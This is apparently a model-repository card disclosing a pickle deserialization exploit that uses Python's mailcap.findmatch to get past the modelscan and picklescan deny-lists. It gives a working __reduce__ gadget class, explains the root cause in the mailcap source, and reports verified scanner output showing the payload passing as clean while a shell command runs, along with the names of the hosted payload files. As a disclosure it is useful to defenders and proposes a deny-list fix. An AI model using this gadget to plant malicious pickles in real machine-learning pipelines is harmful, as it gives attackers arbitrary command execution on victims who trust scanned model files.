YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

pickle RCE via mailcap.findmatch β€” NEW reduce gadget bypassing modelscan 0.8.8 AND picklescan 1.0.5

Class: Pickle deserialization RCE via scanner allow/deny-list bypass (new, unlisted stdlib GLOBAL gadget) Targets: modelscan 0.8.8 (PickleUnsafeOpScan), picklescan 1.0.5 Environment (verified): CPython 3.12.13, Linux x86_64

Summary

Both scanners decide maliciousness by matching every GLOBAL/STACK_GLOBAL (module, name) against hand-maintained deny-lists. Neither list contains the CPython standard-library module mailcap.

mailcap.findmatch(caps, MIMEtype, key='view', filename='/dev/null', plist=[]) is a plain module-level function. Its first argument caps is the entire mailcap database as a dict β€” fully attacker-controlled through the pickle. For every matching entry that carries a 'test' field, findmatch runs os.system(test) (Lib/mailcap.py). The attacker command therefore travels entirely as a pickle string constant; the only GLOBAL opcode is (mailcap, findmatch), which is unknown to modelscan (no issue) and merely "Suspicious" (not Dangerous) to picklescan. Both tools exit 0 / "clean" while pickle.load() runs an arbitrary shell command.

Root cause (Lib/mailcap.py, 3.12)

def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]):
    if _find_unsafe(filename): ...          # filename defaults to safe '/dev/null'
    entries = lookup(caps, MIMEtype, key)   # caps is attacker-controlled
    for e in entries:
        if 'test' in e:
            test = subst(e['test'], filename, plist)  # no '%' => returned verbatim
            if test and os.system(test) != 0:         # <-- arbitrary command executed
                continue
        ...

subst() only refuses %s/%t/%{...} substitutions containing shell metacharacters; a plain command string with no % passes through untouched. _find_unsafe is applied to filename/MIMEtype/params β€” never to the test command itself.

The gadget

class Evil:
    def __reduce__(self):
        import mailcap
        caps = {"application/x-evil": [{"test": CMD, "view": "true"}]}
        return (mailcap.findmatch, (caps, "application/x-evil"))

Only one global opcode: mailcap.findmatch. The command rides as data.

Verified results

file picklescan 1.0.5 modelscan 0.8.8 pickle.load
evil_mailcap.pkl Infected files: 0, Dangerous globals: 0 (1 Suspicious), exit 0 No issues found! exit 0 runs id, writes marker
control_os.pkl (negative control) dangerous import 'posix system' FOUND, Infected: 1, exit 1 CRITICAL system/posix, exit 1 β€”

Captured os.system output (from marker file):

uid=1000(kali) gid=1000(kali) ...
mailcap_findmatch_gadget_executed

Impact / scope

Any pipeline that scans an untrusted .pkl/.joblib/.bin with modelscan 0.8.8 or picklescan 1.0.5 and then pickle.load()s it gets arbitrary command execution. Limitation: the mailcap module was removed in Python 3.13, so execution requires the victim to run Python ≀ 3.12 (still the majority of ML deployments). The scanner bypass itself is version-independent β€” scanners never import mailcap.

Fix

Add mailcap: "*" to both deny-lists.

Files

  • gen.py β€” builder (evil + negative control)
  • evil_mailcap.pkl / evil_mailcap.joblib β€” 279 B payload
  • control_os.pkl β€” negative control
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support